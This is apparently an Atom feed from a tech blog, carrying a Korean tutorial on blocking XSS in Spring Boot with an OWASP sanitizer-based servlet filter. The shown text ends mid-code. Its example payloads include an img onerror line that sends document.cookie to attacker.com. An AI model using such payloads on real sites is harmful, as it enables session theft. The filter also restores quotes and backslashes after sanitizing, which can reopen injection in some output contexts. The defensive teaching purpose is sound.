<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://coffeetimes.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://coffeetimes.github.io/" rel="alternate" type="text/html" /><updated>2026-03-09T05:47:53+00:00</updated><id>https://coffeetimes.github.io/feed.xml</id><title type="html">TechBlog</title><subtitle>Write an awesome description for your new site here. You can edit this line in _config.yml. It will appear in your document head meta (for Google search results) and in your feed.xml site description.</subtitle><author><name>KIM-KYOUNG-OH</name></author><entry><title type="html">크로스사이트 스크립팅(XSS) 방어 가이드 with OWASP Java HTML Sanitizer</title><link href="https://coffeetimes.github.io/security/2026/03/05/xss-prevention-owasp-sanitizer.html" rel="alternate" type="text/html" title="크로스사이트 스크립팅(XSS) 방어 가이드 with OWASP Java HTML Sanitizer" /><published>2026-03-05T00:00:00+00:00</published><updated>2026-03-05T00:00:00+00:00</updated><id>https://coffeetimes.github.io/security/2026/03/05/xss-prevention-owasp-sanitizer</id><content type="html" xml:base="https://coffeetimes.github.io/security/2026/03/05/xss-prevention-owasp-sanitizer.html"><![CDATA[<p>웹 애플리케이션 보안에서 XSS(Cross-Site Scripting)는 빈번하게 발생하는 보안 취약점 중 하나입니다.<br />
이번 글에서는 <strong>OWASP Java HTML Sanitizer</strong>를 활용하여 Spring Boot 웹 애플리케이션에서 XSS 공격을 자동으로 방어하는 Servlet Filter 구현 방법을 소개합니다.</p>

<h2 id="xss란">XSS란?</h2>

<p>XSS(Cross-Site Scripting)는 공격자가 웹 페이지에 악의적인 스크립트를 주입하여 사용자 정보 탈취, 세션 하이재킹, 피싱 등을 수행하는 웹 보안 취약점입니다.</p>

<h3 id="공격-코드-예시">공격 코드 예시</h3>

<p><strong>1. 기본 스크립트 삽입</strong></p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;script&gt;</span><span class="nf">alert</span><span class="p">(</span><span class="dl">'</span><span class="s1">XSS</span><span class="dl">'</span><span class="p">)</span><span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<p>게시판 등의 입력 필드에 스크립트 태그를 직접 삽입하는 가장 기본적인 공격입니다.</p>

<p><strong>2. 이벤트 핸들러 악용</strong></p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;img</span> <span class="na">src=</span><span class="s">"invalid"</span> <span class="na">onerror=</span><span class="s">"document.location='https://attacker.com/steal?cookie='+document.cookie"</span><span class="nt">&gt;</span>
</code></pre></div></div>

<p>존재하지 않는 이미지를 로드하여 <code class="language-plaintext highlighter-rouge">onerror</code> 이벤트를 트리거하고, 사용자의 쿠키를 공격자 서버로 전송합니다.</p>

<p><strong>3. iframe을 이용한 피싱</strong></p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;iframe</span> <span class="na">srcdoc=</span><span class="s">"&lt;svg/onload=alert('XSS')&gt;"</span><span class="nt">&gt;&lt;/iframe&gt;</span>
</code></pre></div></div>

<p>iframe 내부에 SVG 태그와 <code class="language-plaintext highlighter-rouge">onload</code> 이벤트를 조합하여 스크립트를 실행합니다.</p>

<p><strong>4. javascript: 프로토콜</strong></p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;a</span> <span class="na">href=</span><span class="s">"javascript:alert(document.cookie)"</span><span class="nt">&gt;</span>이벤트 당첨! 클릭하세요<span class="nt">&lt;/a&gt;</span>
</code></pre></div></div>

<p>링크 클릭 시 JavaScript가 실행되어 쿠키 정보가 노출됩니다.</p>

<h2 id="owasp-java-html-sanitizer">OWASP Java HTML Sanitizer</h2>

<p>Google 보안팀에서 개발 및 관리되고 있는 오픈소스 HTML sanitization 라이브러리입니다.<br />
XSS 공격으로부터 웹 애플리케이션을 보호하면서 타사에서 작성한 HTML을 포함할 수 있도록 해줍니다. (<a href="https://owasp.org/www-project-java-html-sanitizer/">OWASP Java HTML Sanitizer</a>)</p>

<ul>
  <li><strong>프로그래밍 방식의 POSITIVE 정책 설정</strong>: XML 설정 없이 코드로 허용할 태그/속성만 명시적으로 지정, 나머지는 모두 제거</li>
  <li><strong>검증된 보안</strong>: 보안 모범 사례에 따라 작성되었으며, AntiSamy의 95% 이상의 테스트 케이스를 통과하고 적대적 보안 리뷰(adversarial security review)를 거친 라이브러리</li>
</ul>

<h2 id="왜-owasp-java-html-sanitizer-인가">왜 OWASP Java HTML Sanitizer 인가?</h2>

<p>XSS 방어에는 크게 <strong>블랙리스트 방식</strong>과 <strong>화이트리스트 방식</strong>이 있습니다.</p>

<table>
  <thead>
    <tr>
      <th>방식</th>
      <th>동작 원리</th>
      <th>한계</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>**블랙리스트**</td>
      <td>알려진 위험 패턴(<code class="language-plaintext highlighter-rouge">&lt;script&gt;</code>, <code class="language-plaintext highlighter-rouge">onclick</code> 등)을 탐지하여 차단</td>
      <td>새로운 공격 벡터나 우회 패턴에 취약</td>
    </tr>
    <tr>
      <td>**화이트리스트**</td>
      <td>허용할 태그/속성만 명시하고, **나머지는 모두 공격 코드로 간주하여 제거**</td>
      <td>허용 목록 관리 필요</td>
    </tr>
  </tbody>
</table>

<p>블랙리스트 방식은 일종의 <strong>두더지 잡기 게임</strong>과 같습니다. <br />
<code class="language-plaintext highlighter-rouge">&lt;script&gt;</code>를 막으면 <code class="language-plaintext highlighter-rouge">&lt;img onerror&gt;</code>가 튀어나오고, 이를 막으면 <code class="language-plaintext highlighter-rouge">&lt;svg onload&gt;</code>가, 다시 막으면 <code class="language-plaintext highlighter-rouge">&lt;iframe srcdoc&gt;</code>가 나타납니다. <br />
새로운 우회 기법이 발견될 때마다 규칙을 추가해야 하는 끝없는 추격전이 됩니다.</p>

<p><img src="https://github.com/user-attachments/assets/f5ebbdf2-db28-4b34-9861-e15f002d4e1a" alt="두더지 잡기 게임" /></p>

<p>반면 화이트리스트 방식은 허용된 코드 외의 모든 HTML 태그를 일괄적으로 공격 코드로 판단하여 Filter 레이어에서 삭제 처리하므로, 알려지지 않은 공격 벡터까지 원천 차단할 수 있습니다.</p>

<p>OWASP Java HTML Sanitizer는 이 <strong>화이트리스트 방식</strong>을 채택한 대표적인 라이브러리로, Servlet Filter 레이어에서 안전한 태그만 통과시키고 나머지는 모두 제거하는 구조를 간편하게 구현할 수 있습니다.</p>

<h2 id="아키텍처">아키텍처</h2>

<h3 id="전체-동작-흐름">전체 동작 흐름</h3>

<div style="max-width: 700px; margin: 0 auto;">

<img class="mermaid" src="https://mermaid.ink/svg/eyJjb2RlIjoiZmxvd2NoYXJ0IFRCXG5BW-yCrOyaqeyekCBIVFRQIOyalOyyrV0gLS0-IEJ7WHNzRmlsdGVyPGJyLz7stZzsmrDshKAg7Iuk7ZaJfVxuQiAtLT4gQ1tYc3NSZXF1ZXN0V3JhcHBlcuuhnDxici8-UmVxdWVzdCDqsJ3ssrQg656Y7ZWRXVxuQyAtLT4gRFtPV0FTUCBQb2xpY3lGYWN0b3J5LnNhbml0aXplPGJyLz5YU1Mg6rO16rKpIOy9lOuTnCDsoJzqsbA8YnIvPmUuZy4gc2NyaXB0LCBpZnJhbWUsIG9uY2xpY2tdXG5EIC0tPiBFW-yViOyghO2VnCDtirnsiJjrrLjsnpAg7ISg7YOd7KCBIOuzteybkDxici8-ZS5nLiDrlLDsmLTtkZwsIOuwseyKrOuemOyLnCwg7JWw7Y287IOM65OcIOuTsV1cbkUgLS0-IEZbQ29udHJvbGxlcuuhnCDsoITri6xdXG5GIC0tPiBHW-u5hOymiOuLiOyKpCDroZzsp4Eg7LKY66asXVxuRyAtLT4gSFvsnZHri7Ug67CY7ZmYXVxuJSUtXG5zdHlsZSBCIGZpbGw6I2ZmNmI2Yixjb2xvcjojMDAwXG5zdHlsZSBEIGZpbGw6IzRlY2RjNCxjb2xvcjojMDAwXG5zdHlsZSBFIGZpbGw6Izk1ZTFkMyxjb2xvcjojMDAwIiwibWVybWFpZCI6bnVsbH0" />

</div>

<h3 id="요청-처리-시퀀스">요청 처리 시퀀스</h3>

<div style="max-width: 700px; margin: 0 auto;">

<img class="mermaid" src="https://mermaid.ink/svg/eyJjb2RlIjoic2VxdWVuY2VEaWFncmFtXG5wYXJ0aWNpcGFudCBVc2VyIGFzIOyCrOyaqeyekFxucGFydGljaXBhbnQgRmlsdGVyIGFzIE93YXNwWHNzRmlsdGVyXG5wYXJ0aWNpcGFudCBXcmFwcGVyIGFzIE93YXNwWHNzUmVxdWVzdFdyYXBwZXJcbnBhcnRpY2lwYW50IENvbnRyb2xsZXIgYXMgQ29udHJvbGxlclxuJSUtXG5Vc2VyLT4-RmlsdGVyOiBIVFRQIOyalOyyrSAo7KCV7IOBIO2FjeyKpO2KuCArIFhTUyDqs7Xqsqkg7L2U65OcKVxuTm90ZSBvdmVyIEZpbHRlcjogQE9yZGVyKEhJR0hFU1RfUFJFQ0VERU5DRSk8YnIvPuy1nOyasOyEoCDsi6TtlolcbiUlLVxuRmlsdGVyLT4-V3JhcHBlcjogSHR0cFNlcnZsZXRSZXF1ZXN0IOuemO2VkVxuYWN0aXZhdGUgV3JhcHBlclxuTm90ZSBvdmVyIFdyYXBwZXI6IGdldFBhcmFtZXRlcigpIO2YuOy2nCDsi5w8YnIvPuyekOuPmSBzYW5pdGl6ZSDsi6TtlolcbiUlLVxuV3JhcHBlci0-PldyYXBwZXI6IHBvbGljeS5zYW5pdGl6ZSgpIC0gWFNTIOygnOqxsFxuV3JhcHBlci0-PldyYXBwZXI6IOyViOyghO2VnCDtirnsiJjrrLjsnpAg7ISg7YOd7KCBIOuzteybkFxuZGVhY3RpdmF0ZSBXcmFwcGVyXG4lJS1cbkZpbHRlci0-PkNvbnRyb2xsZXI6IOyViOyghO2VnCBSZXF1ZXN0IOyghOuLrFxuYWN0aXZhdGUgQ29udHJvbGxlclxuTm90ZSBvdmVyIENvbnRyb2xsZXI6IOydtOuvuCDslYjsoITtlZwg642w7J207YSwIOyImOyLoDxici8-67OE64-EIOuztOyViCDsspjrpqwg67aI7ZWE7JqUXG5Db250cm9sbGVyLS0-PlVzZXI6IOydkeuLtSDsoITshqFcbmRlYWN0aXZhdGUgQ29udHJvbGxlciIsIm1lcm1haWQiOm51bGx9" />

</div>

<h3 id="핵심-컴포넌트">핵심 컴포넌트</h3>

<table>
  <thead>
    <tr>
      <th>컴포넌트</th>
      <th>역할</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>**OwaspXssFilter**</td>
      <td>Servlet Filter로서 모든 HTTP 요청을 가로채어 Request 객체를 래핑</td>
    </tr>
    <tr>
      <td>**OwaspXssRequestWrapper**</td>
      <td>HttpServletRequestWrapper를 상속하여 파라미터 접근 시 자동 sanitize 적용</td>
    </tr>
  </tbody>
</table>

<blockquote>
  <p><strong>주의</strong>: <code class="language-plaintext highlighter-rouge">PolicyFactory.sanitize()</code>를 호출하면 XSS로 의심되는 코드가 삭제되지만, 동시에 입력된 모든 특수문자가 HTML 코드로 인코딩되는 동작이 불가피합니다. (예: <code class="language-plaintext highlighter-rouge">"</code> → <code class="language-plaintext highlighter-rouge">&amp;#34;</code>, <code class="language-plaintext highlighter-rouge">&amp;</code> → <code class="language-plaintext highlighter-rouge">&amp;amp;</code>)
따라서 입력 데이터의 정합성을 위해 <strong>안전한 특수문자는 원본 데이터로 복원하는 후처리</strong>가 반드시 필요합니다. 자세한 내용은 <a href="#특수문자-선택적-복원">특수문자 선택적 복원</a> 섹션을 참고하세요.</p>
</blockquote>

<h2 id="구현-가이드">구현 가이드</h2>

<h3 id="의존성-추가">의존성 추가</h3>

<p><strong>Gradle:</strong></p>

<div class="language-groovy highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">implementation</span> <span class="s1">'com.googlecode.owasp-java-html-sanitizer:owasp-java-html-sanitizer:20240325.1'</span>
</code></pre></div></div>

<p><strong>Maven:</strong></p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;dependency&gt;</span>
    <span class="nt">&lt;groupId&gt;</span>com.googlecode.owasp-java-html-sanitizer<span class="nt">&lt;/groupId&gt;</span>
    <span class="nt">&lt;artifactId&gt;</span>owasp-java-html-sanitizer<span class="nt">&lt;/artifactId&gt;</span>
    <span class="nt">&lt;version&gt;</span>20240325.1<span class="nt">&lt;/version&gt;</span>
<span class="nt">&lt;/dependency&gt;</span>
</code></pre></div></div>

<h3 id="step-1-xss-filter-구현">Step 1: XSS Filter 구현</h3>

<p>모든 HTTP 요청을 가로채어 XSS 방어를 자동 적용하는 Servlet Filter를 구현합니다.<br />
허용 정책은 별도의 XML 설정 파일 없이 Java 코드로 직접 커스터마이징할 수 있습니다.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">jakarta.servlet.*</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">jakarta.servlet.http.HttpServletRequest</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.owasp.html.HtmlPolicyBuilder</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.owasp.html.PolicyFactory</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.springframework.core.Ordered</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.springframework.core.annotation.Order</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.springframework.stereotype.Component</span><span class="o">;</span>

<span class="kn">import</span> <span class="nn">java.io.IOException</span><span class="o">;</span>

<span class="nd">@Component</span>
<span class="nd">@Order</span><span class="o">(</span><span class="nc">Ordered</span><span class="o">.</span><span class="na">HIGHEST_PRECEDENCE</span><span class="o">)</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">OwaspXssFilter</span> <span class="kd">implements</span> <span class="nc">Filter</span> <span class="o">{</span>

    <span class="kd">private</span> <span class="kd">final</span> <span class="nc">PolicyFactory</span> <span class="n">policy</span><span class="o">;</span>

    <span class="kd">public</span> <span class="nf">OwaspXssFilter</span><span class="o">()</span> <span class="o">{</span>
        <span class="k">this</span><span class="o">.</span><span class="na">policy</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">HtmlPolicyBuilder</span><span class="o">()</span>
            <span class="c1">// 블록 요소</span>
            <span class="o">.</span><span class="na">allowElements</span><span class="o">(</span>
                <span class="s">"p"</span><span class="o">,</span> <span class="s">"div"</span><span class="o">,</span> <span class="s">"br"</span><span class="o">,</span>
                <span class="s">"h1"</span><span class="o">,</span> <span class="s">"h2"</span><span class="o">,</span> <span class="s">"h3"</span><span class="o">,</span> <span class="s">"h4"</span><span class="o">,</span> <span class="s">"h5"</span><span class="o">,</span> <span class="s">"h6"</span><span class="o">,</span>
                <span class="s">"blockquote"</span><span class="o">,</span> <span class="s">"pre"</span>
            <span class="o">)</span>
            <span class="c1">// 인라인 요소</span>
            <span class="o">.</span><span class="na">allowElements</span><span class="o">(</span>
                <span class="s">"span"</span><span class="o">,</span> <span class="s">"strong"</span><span class="o">,</span> <span class="s">"em"</span><span class="o">,</span> <span class="s">"u"</span><span class="o">,</span> <span class="s">"s"</span><span class="o">,</span> <span class="s">"code"</span>
            <span class="o">)</span>
            <span class="c1">// 리스트</span>
            <span class="o">.</span><span class="na">allowElements</span><span class="o">(</span><span class="s">"ul"</span><span class="o">,</span> <span class="s">"ol"</span><span class="o">,</span> <span class="s">"li"</span><span class="o">)</span>
            <span class="c1">// 링크</span>
            <span class="o">.</span><span class="na">allowElements</span><span class="o">(</span><span class="s">"a"</span><span class="o">)</span>
            <span class="o">.</span><span class="na">allowUrlProtocols</span><span class="o">(</span><span class="s">"https"</span><span class="o">,</span> <span class="s">"http"</span><span class="o">)</span>
            <span class="o">.</span><span class="na">allowAttributes</span><span class="o">(</span><span class="s">"href"</span><span class="o">).</span><span class="na">onElements</span><span class="o">(</span><span class="s">"a"</span><span class="o">)</span>
            <span class="o">.</span><span class="na">requireRelNofollowOnLinks</span><span class="o">()</span>
            <span class="c1">// 이미지</span>
            <span class="o">.</span><span class="na">allowElements</span><span class="o">(</span><span class="s">"img"</span><span class="o">)</span>
            <span class="o">.</span><span class="na">allowAttributes</span><span class="o">(</span><span class="s">"src"</span><span class="o">,</span> <span class="s">"alt"</span><span class="o">,</span> <span class="s">"title"</span><span class="o">).</span><span class="na">onElements</span><span class="o">(</span><span class="s">"img"</span><span class="o">)</span>
            <span class="c1">// 테이블</span>
            <span class="o">.</span><span class="na">allowElements</span><span class="o">(</span>
                <span class="s">"table"</span><span class="o">,</span> <span class="s">"thead"</span><span class="o">,</span> <span class="s">"tbody"</span><span class="o">,</span> <span class="s">"tfoot"</span><span class="o">,</span>
                <span class="s">"tr"</span><span class="o">,</span> <span class="s">"th"</span><span class="o">,</span> <span class="s">"td"</span><span class="o">,</span> <span class="s">"caption"</span>
            <span class="o">)</span>
            <span class="c1">// 글로벌 속성</span>
            <span class="o">.</span><span class="na">allowAttributes</span><span class="o">(</span><span class="s">"class"</span><span class="o">).</span><span class="na">globally</span><span class="o">()</span>
            <span class="o">.</span><span class="na">allowAttributes</span><span class="o">(</span><span class="s">"id"</span><span class="o">).</span><span class="na">globally</span><span class="o">()</span>
            <span class="o">.</span><span class="na">toFactory</span><span class="o">();</span>
    <span class="o">}</span>

    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">doFilter</span><span class="o">(</span><span class="nc">ServletRequest</span> <span class="n">request</span><span class="o">,</span> <span class="nc">ServletResponse</span> <span class="n">response</span><span class="o">,</span>
                         <span class="nc">FilterChain</span> <span class="n">chain</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">IOException</span><span class="o">,</span> <span class="nc">ServletException</span> <span class="o">{</span>
        <span class="nc">HttpServletRequest</span> <span class="n">httpRequest</span> <span class="o">=</span> <span class="o">(</span><span class="nc">HttpServletRequest</span><span class="o">)</span> <span class="n">request</span><span class="o">;</span>
        <span class="nc">OwaspXssRequestWrapper</span> <span class="n">wrappedRequest</span> <span class="o">=</span>
            <span class="k">new</span> <span class="nf">OwaspXssRequestWrapper</span><span class="o">(</span><span class="n">httpRequest</span><span class="o">,</span> <span class="n">policy</span><span class="o">);</span>
        <span class="n">chain</span><span class="o">.</span><span class="na">doFilter</span><span class="o">(</span><span class="n">wrappedRequest</span><span class="o">,</span> <span class="n">response</span><span class="o">);</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p><strong>핵심 설계 포인트:</strong></p>

<table>
  <thead>
    <tr>
      <th>포인트</th>
      <th>설명</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">@Order(HIGHEST_PRECEDENCE)</code></td>
      <td>다른 모든 Filter보다 먼저 실행되어 XSS 방어의 최전선 역할</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">PolicyFactory</code> 생성자 초기화</td>
      <td>스레드 안전하며, 한 번 생성 후 재사용</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">HtmlPolicyBuilder</code></td>
      <td>화이트리스트 정책을 빌더 패턴으로 구성</td>
    </tr>
  </tbody>
</table>

<h3 id="step-2-request-wrapper-구현">Step 2: Request Wrapper 구현</h3>

<p>파라미터 접근 시 자동으로 sanitize를 적용하는 HttpServletRequestWrapper를 구현합니다.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">jakarta.servlet.http.HttpServletRequest</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">jakarta.servlet.http.HttpServletRequestWrapper</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">org.owasp.html.PolicyFactory</span><span class="o">;</span>

<span class="kn">import</span> <span class="nn">java.util.*</span><span class="o">;</span>

<span class="kd">public</span> <span class="kd">class</span> <span class="nc">OwaspXssRequestWrapper</span> <span class="kd">extends</span> <span class="nc">HttpServletRequestWrapper</span> <span class="o">{</span>

    <span class="kd">private</span> <span class="kd">final</span> <span class="nc">PolicyFactory</span> <span class="n">policy</span><span class="o">;</span>

    <span class="kd">public</span> <span class="nf">OwaspXssRequestWrapper</span><span class="o">(</span><span class="nc">HttpServletRequest</span> <span class="n">request</span><span class="o">,</span>
                                  <span class="nc">PolicyFactory</span> <span class="n">policy</span><span class="o">)</span> <span class="o">{</span>
        <span class="kd">super</span><span class="o">(</span><span class="n">request</span><span class="o">);</span>
        <span class="k">this</span><span class="o">.</span><span class="na">policy</span> <span class="o">=</span> <span class="n">policy</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="nc">String</span> <span class="nf">getParameter</span><span class="o">(</span><span class="nc">String</span> <span class="n">name</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">String</span> <span class="n">value</span> <span class="o">=</span> <span class="kd">super</span><span class="o">.</span><span class="na">getParameter</span><span class="o">(</span><span class="n">name</span><span class="o">);</span>
        <span class="k">return</span> <span class="nf">sanitize</span><span class="o">(</span><span class="n">value</span><span class="o">);</span>
    <span class="o">}</span>

    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="nc">String</span><span class="o">[]</span> <span class="nf">getParameterValues</span><span class="o">(</span><span class="nc">String</span> <span class="n">name</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">String</span><span class="o">[]</span> <span class="n">values</span> <span class="o">=</span> <span class="kd">super</span><span class="o">.</span><span class="na">getParameterValues</span><span class="o">(</span><span class="n">name</span><span class="o">);</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">values</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
            <span class="k">return</span> <span class="kc">null</span><span class="o">;</span>
        <span class="o">}</span>

        <span class="nc">String</span><span class="o">[]</span> <span class="n">sanitizedValues</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">String</span><span class="o">[</span><span class="n">values</span><span class="o">.</span><span class="na">length</span><span class="o">];</span>
        <span class="k">for</span> <span class="o">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">values</span><span class="o">.</span><span class="na">length</span><span class="o">;</span> <span class="n">i</span><span class="o">++)</span> <span class="o">{</span>
            <span class="n">sanitizedValues</span><span class="o">[</span><span class="n">i</span><span class="o">]</span> <span class="o">=</span> <span class="n">sanitize</span><span class="o">(</span><span class="n">values</span><span class="o">[</span><span class="n">i</span><span class="o">]);</span>
        <span class="o">}</span>
        <span class="k">return</span> <span class="n">sanitizedValues</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="nd">@Override</span>
    <span class="kd">public</span> <span class="nc">Map</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">,</span> <span class="nc">String</span><span class="o">[]&gt;</span> <span class="nf">getParameterMap</span><span class="o">()</span> <span class="o">{</span>
        <span class="nc">Map</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">,</span> <span class="nc">String</span><span class="o">[]&gt;</span> <span class="n">originalMap</span> <span class="o">=</span> <span class="kd">super</span><span class="o">.</span><span class="na">getParameterMap</span><span class="o">();</span>
        <span class="nc">Map</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">,</span> <span class="nc">String</span><span class="o">[]&gt;</span> <span class="n">sanitizedMap</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">HashMap</span><span class="o">&lt;&gt;();</span>

        <span class="k">for</span> <span class="o">(</span><span class="nc">Map</span><span class="o">.</span><span class="na">Entry</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">,</span> <span class="nc">String</span><span class="o">[]&gt;</span> <span class="n">entry</span> <span class="o">:</span> <span class="n">originalMap</span><span class="o">.</span><span class="na">entrySet</span><span class="o">())</span> <span class="o">{</span>
            <span class="nc">String</span><span class="o">[]</span> <span class="n">values</span> <span class="o">=</span> <span class="n">entry</span><span class="o">.</span><span class="na">getValue</span><span class="o">();</span>
            <span class="nc">String</span><span class="o">[]</span> <span class="n">sanitizedValues</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">String</span><span class="o">[</span><span class="n">values</span><span class="o">.</span><span class="na">length</span><span class="o">];</span>
            <span class="k">for</span> <span class="o">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">values</span><span class="o">.</span><span class="na">length</span><span class="o">;</span> <span class="n">i</span><span class="o">++)</span> <span class="o">{</span>
                <span class="n">sanitizedValues</span><span class="o">[</span><span class="n">i</span><span class="o">]</span> <span class="o">=</span> <span class="n">sanitize</span><span class="o">(</span><span class="n">values</span><span class="o">[</span><span class="n">i</span><span class="o">]);</span>
            <span class="o">}</span>
            <span class="n">sanitizedMap</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="n">entry</span><span class="o">.</span><span class="na">getKey</span><span class="o">(),</span> <span class="n">sanitizedValues</span><span class="o">);</span>
        <span class="o">}</span>

        <span class="k">return</span> <span class="nc">Collections</span><span class="o">.</span><span class="na">unmodifiableMap</span><span class="o">(</span><span class="n">sanitizedMap</span><span class="o">);</span>
    <span class="o">}</span>

    <span class="kd">private</span> <span class="nc">String</span> <span class="nf">sanitize</span><span class="o">(</span><span class="nc">String</span> <span class="n">value</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">value</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
            <span class="k">return</span> <span class="kc">null</span><span class="o">;</span>
        <span class="o">}</span>

        <span class="c1">// 1단계: OWASP로 XSS 방어</span>
        <span class="nc">String</span> <span class="n">sanitized</span> <span class="o">=</span> <span class="n">policy</span><span class="o">.</span><span class="na">sanitize</span><span class="o">(</span><span class="n">value</span><span class="o">);</span>

        <span class="c1">// 2단계: 안전한 문자만 선택적 복원</span>
        <span class="n">sanitized</span> <span class="o">=</span> <span class="n">sanitized</span><span class="o">.</span><span class="na">replace</span><span class="o">(</span><span class="s">"&amp;#34;"</span><span class="o">,</span> <span class="s">"\""</span><span class="o">);</span>
        <span class="n">sanitized</span> <span class="o">=</span> <span class="n">sanitized</span><span class="o">.</span><span class="na">replace</span><span class="o">(</span><span class="s">"&amp;quot;"</span><span class="o">,</span> <span class="s">"\""</span><span class="o">);</span>
        <span class="n">sanitized</span> <span class="o">=</span> <span class="n">sanitized</span><span class="o">.</span><span class="na">replace</span><span class="o">(</span><span class="s">"&amp;#39;"</span><span class="o">,</span> <span class="s">"'"</span><span class="o">);</span>
        <span class="n">sanitized</span> <span class="o">=</span> <span class="n">sanitized</span><span class="o">.</span><span class="na">replace</span><span class="o">(</span><span class="s">"&amp;apos;"</span><span class="o">,</span> <span class="s">"'"</span><span class="o">);</span>
        <span class="n">sanitized</span> <span class="o">=</span> <span class="n">sanitized</span><span class="o">.</span><span class="na">replace</span><span class="o">(</span><span class="s">"&amp;#x27;"</span><span class="o">,</span> <span class="s">"'"</span><span class="o">);</span>
        <span class="n">sanitized</span> <span class="o">=</span> <span class="n">sanitized</span><span class="o">.</span><span class="na">replace</span><span class="o">(</span><span class="s">"&amp;#92;"</span><span class="o">,</span> <span class="s">"\\"</span><span class="o">);</span>
        <span class="n">sanitized</span> <span class="o">=</span> <span class="n">sanitized</span><span class="o">.</span><span class="na">replace</span><span class="o">(</span><span class="s">"&amp;#x5c;"</span><span class="o">,</span> <span class="s">"\\"</span><span class="o">);</span>
        <span class="n">sanitized</span> <span class="o">=</span> <span class="n">sanitized</span><span class="o">.</span><span class="na">replace</span><span class="o">(</span><span class="s">"&amp;#x5C;"</span><span class="o">,</span> <span class="s">"\\"</span><span class="o">);</span>
        <span class="n">sanitized</span> <span class="o">=</span> <span class="n">sanitized</span><span class="o">.</span><span class="na">replace</span><span class="o">(</span><span class="s">"&amp;#64;"</span><span class="o">,</span> <span class="s">"@"</span><span class="o">);</span>
        <span class="n">sanitized</span> <span class="o">=</span> <span class="n">sanitized</span><span class="o">.</span><span class="na">replace</span><span class="o">(</span><span class="s">"&amp;#x40;"</span><span class="o">,</span> <span class="s">"@"</span><span class="o">);</span>
        <span class="n">sanitized</span> <span class="o">=</span> <span class="n">sanitized</span><span class="o">.</span><span class="na">replace</span><span class="o">(</span><span class="s">"&amp;#43;"</span><span class="o">,</span> <span class="s">"+"</span><span class="o">);</span>
        <span class="n">sanitized</span> <span class="o">=</span> <span class="n">sanitized</span><span class="o">.</span><span class="na">replace</span><span class="o">(</span><span class="s">"&amp;#x2b;"</span><span class="o">,</span> <span class="s">"+"</span><span class="o">);</span>
        <span class="n">sanitized</span> <span class="o">=</span> <span class="n">sanitized</span><span class="o">.</span><span class="na">replace</span><span class="o">(</span><span class="s">"&amp;#x2B;"</span><span class="o">,</span> <span class="s">"+"</span><span class="o">);</span>
        <span class="n">sanitized</span> <span class="o">=</span> <span class="n">sanitized</span><span class="o">.</span><span class="na">replace</span><span class="o">(</span><span class="s">"&amp;#61;"</span><span class="o">,</span> <span class="s">"="</span><span class="o">);</span>
        <span class="n">sanitized</span> <span class="o">=</span> <span class="n">sanitized</span><span class="o">.</span><span class="na">replace</span><span class="o">(</span><span class="s">"&amp;#x3d;"</span><span class="o">,</span> <span class="s">"="</span><span class="o">);</span>
        <span class="n">sanitized</span> <span class="o">=</span> <span class="n">sanitized</span><span class="o">.</span><span class="na">replace</span><span class="o">(</span><span class="s">"&amp;#x3D;"</span><span class="o">,</span> <span class="s">"="</span><span class="o">);</span>

        <span class="c1">// &amp;amp; 복원은 반드시 마지막에 수행</span>
